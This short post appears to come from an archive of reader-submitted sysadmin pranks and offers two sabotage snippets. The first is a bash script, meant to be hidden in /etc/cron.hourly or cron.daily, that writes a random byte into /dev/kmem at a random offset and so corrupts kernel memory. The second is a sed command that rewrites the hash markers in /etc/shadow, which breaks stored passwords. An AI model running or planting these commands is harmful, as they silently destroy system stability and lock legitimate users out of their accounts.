Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc

Another one from the old site, this one was submitted by Ed van der Salm

  sed -i 's/:$6/:$5/g' /etc/shadow